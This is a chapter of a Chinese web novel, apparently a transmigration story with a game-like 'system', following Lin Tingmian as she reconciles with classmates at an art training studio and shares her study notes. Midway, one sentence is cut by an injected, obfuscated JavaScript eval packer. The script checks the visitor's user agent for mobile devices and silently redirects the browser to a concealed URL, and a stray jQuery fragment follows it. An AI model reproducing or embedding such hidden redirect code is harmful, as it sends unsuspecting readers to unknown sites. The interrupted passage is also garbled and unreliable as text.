很多人羡慕的求之不得的东西，或许也是另外一些人厌恶的避之不及的。


    对赵长恩来说的蜜糖，对沈觉来说是砒霜。


    她没有设身处地地站在沈觉的位置上，自然无法评判沈觉抗拒的动因。


    如果要为自己轻率的言论负责。


    啊，她愿意每天都带一盒牛奶来赔罪。


    沈觉眯眯眼笑起来：“这么好吗？”


    “……”


    林听眠纠正她：“这其实是一种夸张的修辞。”


    “我无法确保这个每一天到底是哪一天，万一我在给你带牛奶的过程中世界末日到了……”


    “那就给我带到世界末日。”眯眯眼冲她歪头。


    “不是。”


    “我会给你带到我宿舍牛奶喝完。”


    “……”


    如果可以，在这个世界线终结之前，她希望沈觉每一天都可以喝上她送的牛奶。


    林听眠低垂着眼睛，手里的动作没有停下。


    等沈觉再看过来时，画板上多了一张便利贴。


    画了一个生气的猫猫头和一个垂头丧气的狗头。


    狗头正上方圈了一个对话框，写着“对不起”。


    “对不起。”


    她为过去的林听眠道歉，为误解道歉，为风言风语道歉。


    “我不该只知道一点点就乱说的。”


    沈觉眼里含着微笑。


    系统满意播报：［检测到关键人物沈觉信任值上升为50%，关键人物祝一一信任值上升为70%。］


    “不过我并没有装睡，我是真的在睡……”


    关却对她说的话此刻在脑海里重复播放着：“经由你自己的嘴，自己的眼去了解一个人，而非从旁人的言语中。”


    沈觉继续笑着：“我知道。”


    “坐在你旁边就会知道你是一个嗯……很幽默的人。”


    “像你这样认真的人……不会真的想要作弊的。”


    其实是想说她是搞笑女吧！


    系统惊讶：“其实是想说你是小丑吧。”


    ＊


    晚上去食堂吃饭时，她碰上了钟钟。


    按照关却的反应，她在这个世界中和关却原本并不相熟。


    或许她们并不是同一个学校的，这也非常合理。


    像关却，可能选择了专门的艺术类高中，而并非普通高中的艺术班。


    但是钟钟好像认识她，甚至前去搭话。


    “嗨！又见到你啦，林听眠。”


    看来好像……


    只是钟钟本人的社交属性比较强悍。


    “你知不知道我们班的关却中午去哪里了？”


    “她对我说，她和你一起掉进了兔子洞里，爬出来花了很大功夫。”


    ？


    “所以今天下午她身体不太舒服，晚上还让我帮忙带饭。”


    “可能是爬兔子洞爬的。”


    “你信吗？”林听眠震惊。


    “怎么可能会信！”钟钟撇嘴。


    看来关却的身体依旧是很脆皮的状态，


    看来关却的胡说八道能力也更上一层楼。


    钟钟的眼睛瞪得很圆。


    林听眠仔细端详对方的脸。


    这是她见过眼睛最大的单眼皮。


    瞳孔很黑很圆，倒映着一个无可奈何的林听眠。


    不过寻常和她相伴的好友此刻只是擦肩而过打个招呼的关系，她莫名有一些不是滋味。


    钟钟没有察觉到林听眠的失神，只是强调着让她下次跳兔子洞的时候一定要叫上她。


    “……”


    她们以为这是爱丽丝梦游仙境吗？！


    在沉闷无聊的集训生活中，一点点小小的风波都可以成为乐事，就算听上去再无厘头也会欣然接受。


    甚至跃跃欲试。


    摩拳擦掌、按捺不住、争先恐后、蠢蠢欲动……


    意识到自己又处在祝一一的思维方式里，林听眠猛然回神。


    “行，下次一定。”


    ＊


    结果这个下一次就是第二天吗？


    她和灌木丛入口的钟钟大眼瞪大大眼。


    “她告诉你，她来这里了吗？”林听眠试探着发问，这样的相遇显然是有人早有预谋。


    “没有。”钟钟坦率地承认，“我跟踪她的。”


    “……”


    正当这两个人在这个入口僵持，第三个人出现了。


    沈觉边吸着牛奶边对她们说：“你们为什么不进去呀？”


    “……”


    钟钟看上去也认识沈觉：“大小姐，你居然也知道这里。”


    不同于两个人草率的睡衣穿搭，沈觉穿得尤为整洁。


    确实看上去不像是会钻这个洞的人。


    沈觉停止了喝牛奶的动作。


    正经地对两个人说：“你们相信……这条路是我开辟出来的吗？”


    “我不信。”


    “这怎么可能！”


    两个人异口同声，狐疑地看着一举一动都很有修养的沈觉。


    好巧不巧，第四个人出现了。


    看上去刚刚睡醒起来随处溜达的祝一一好奇地问：“可是……这个画室不就是沈觉她家开的吗？为什么不信呢？”


    “……”


    沈觉简单地回了一句：“只是代理校长。”


    剩下的几句话全在众人脑子里自行补充：这间画室的规划和沈校长没有什么关系，他也只是别人请来打工的老师。


    正午的阳光照在人的头发上发烫，再待下去，她只觉得自己要被阳光晒化。


    看着只能容纳一个人的入口，林听眠陷入了沉思。


    这些人是从哪里冒出来的？


    秘密花园，到底是因为知道的人很少是秘密花园，还是因为里面有秘密才叫秘密花园。


    系统补刀：“可是你每次声称的秘密花园的地方从来都不是秘密。”


    “……”


    竟然无法反驳。


    既然有能够容纳人过去的缝隙，那么此前必定有很多人经过。


    她必定不是第一个来的，却没想到第一个人就站在自己的面前。


    如果能开辟这条路，或许全靠沈觉……


    打开方式错误，但是答案正确的友谊就此建立！


    林听眠深吸一口气，虽然过程和她想得不太一样，虽然这几个人重新聚在一起有一些波折，但是总算……


    一排老鼠整整齐齐地躺在阳光下。


    只有风吹过树叶的沙沙声，远处模糊的鸟鸣，以及五人或深或浅交织在一起的安稳的呼吸声。


    阳光在她们身上缓缓移动，时间仿佛在这一小块被遗忘的草地上凝固了。


    几根折断的草茎，不知何时嵌进了沈觉一丝不苟的侧编发里，像精心设计的头饰上意外的野趣。


    她闭着眼，眉心那颗浅棕色的小痣在阳光下几乎透明，嘴角的弧度放松地微微上翘。


    比三个像素点多得多。


    林听眠左手无意识地捻着一片草叶，指尖染上了淡淡的青绿。猫猫头咧开的笑容正对着天空。


    关却侧躺在林听眠的另一边，身体微微蜷缩，像是真的带着点“爬兔子洞”后的虚弱疲惫。


    她呼吸轻浅而均匀，一只手臂枕在头下，另一只手随意地搭在身前的草地上，骨节微微凸起。


    钟终呈“大”字形摊开，那双又大又圆的单眼皮眼睛此刻满足地眯成缝，瞳孔里盛满了跳跃的光点。


    祝一一则蜷缩着靠在旁边，像只寻找热源的小动物。


    她穿着印有巨大卡通图案的睡衣裤，嘴巴微微张着，胸口随着呼吸平稳起伏。


    阳光在她略显单薄的肩头跳跃，整个人透着一种易碎又安静融入的氛围。


    系统连续播报：［检测到关键人物沈觉信任值为55%，关键人物关却信任值为75%，关键人物祝一一信任值为75%。］


    视野被高远湛蓝的天空占据，几缕薄云慢悠悠地飘过。


    灌木丛的顶端勾勒出锯齿状晃动的黑色剪影。


    沈觉放松的侧脸轮廓出现在画面一角，一缕不听话的编发垂在她颊边。


    远处，钟钟翘起的脚在蓝天背景上自在地晃了一下。


    “那钟钟呢，她是非关键人物吗？”


    系统继续播报：［和主线任务有关的人物称之为关键人物。］


    ……


    钟钟和她的友情算是她上辈子中最为健康的一段关系了。


    两个人很聊得来，没有这样那样鸡毛蒜皮的冲突。


    或许也是因为太过融洽，毕业后林听眠再也没主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105461|179410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动联系过钟钟。


    好像想起她就会产生一种深深的落差感，就会想起从前。


    想起和她有关的一切，再想到自己现在的失意。


    明明之前还热络聊着天，在偶然的契机在单向奔赴后两人默契地分别。


    再无瓜葛。


    这是坏结局吗？


    她心里并不清楚，或许这只是普通结局。


    系统顺着她的意思调出她和钟钟打出的结局。


    【BadEnding】


    【你终于删除了那条编辑三年的消息。


    没有质问，没有倾诉，


    只留下一句“祝你前程似锦”。


    发送栏空荡如初雪后的广场。


    你知道有些话，积雪比心跳更安静。】


    【*达成成就：未融化的发送键】


    【NormalEnding】


    【合照里你们肩抵着肩大笑，像两棵共生十年的树。


    某天你忽然发现：


    她的新动态里众人欢聚，而你还困在从前。


    连点赞都变成地图上踌躇的光标。】


    【*达成成就：分叉的河流】


    就算我和你会是分叉的河流。


    但我们曾经交汇过，就在当下。


    面对面。


    就算我往后踌躇着没给你发去一条信息。


    但是现在，我想与你说话，便可以直接开口。


    面对面。


    命运真是很奇妙啊！


    她知道时间会冲淡一切的。


    在这个那个世界上往返的她，是被时间忘记的人。


    强光柱从枝叶缝隙直射下来，无数微小的尘埃和草籽在光路中悬浮，旋转，缓缓飘落。


    像一场无声的金色雨，轻柔地洒向下方五张年轻放松的脸。


    可她现在啊！


    被阳光记住，被草地眷顾。


    还要继续挣扎，挣扎挣扎，直到最后一刻。


    打出一个真正的HappyEnding。


    ＊


    “然后你就建了这个群聊？”


    钟钟的大眼睛瞪得更大了：“这是什么群名？”


    “我觉得很好啊……”


    林听眠弱弱地说。


    正是周天。


    青鸟画室采用大小周放假，一周放半天，另外一周放全天。


    刚好她来的这一周，放了整整一天。


    明明放假是一件再寻常不过的事情，但是这些人已经被压榨得多半天时间就快乐得忘乎所以。


    只有放假才可以拿到手机。


    林听眠抓紧时间拉了个群聊说要给她们传资料。


    相欺相碍一家人（5）


    春眠不觉晓：【文件】【文件】


    生煎：(>ω


    沈觉顺势发了一个卖萌猫猫头表情包表示感谢。


    Q：怪不得你画得这么好……原来还整理了这么详细的笔记。


    End：呜呼！沾光有份！


    AAA生煎包祝大娘：“是呀是呀！一荣俱荣有福同享与有荣焉苟富贵勿相忘！


    生煎：？


    春眠不觉晓：……


    她想起从前系统用很愚蠢的方式向沈觉传递上辈子的知识点。


    想来并不是失眠就会有精力去做一些额外的事情，失眠是入睡困难，又不是精神太过饱满无法入睡。


    想到这儿，她的歉意更深了。


    如果她已经经历过一次又一次，那么就把这份经验传递再传递。


    青鸟画室的画画资料保存得很严格，所有交上去的作业都会留档，不可以随便带出去。


    为了防止教学资料泄露，外来人员参观画室时还不能带任何拍摄设备。


    学生外出画室，要把平板里老师发的范画删掉，等到再回来时再接受。


    虽然画室的资料保住了，但是林听眠想着，这并不利于学生的交流和继续学习。


    这份资料是她认认真真手写再打出来的，不用要求保密，绝对公开，绝对开放。


    希望能帮到她们吧！


    这份资料还会经由这些人的手发给更多的人。


    谁会拒绝一份突如其来的全面知识点呢？


    她深深地呼了一口气，什么也没说，但好像又说了很多。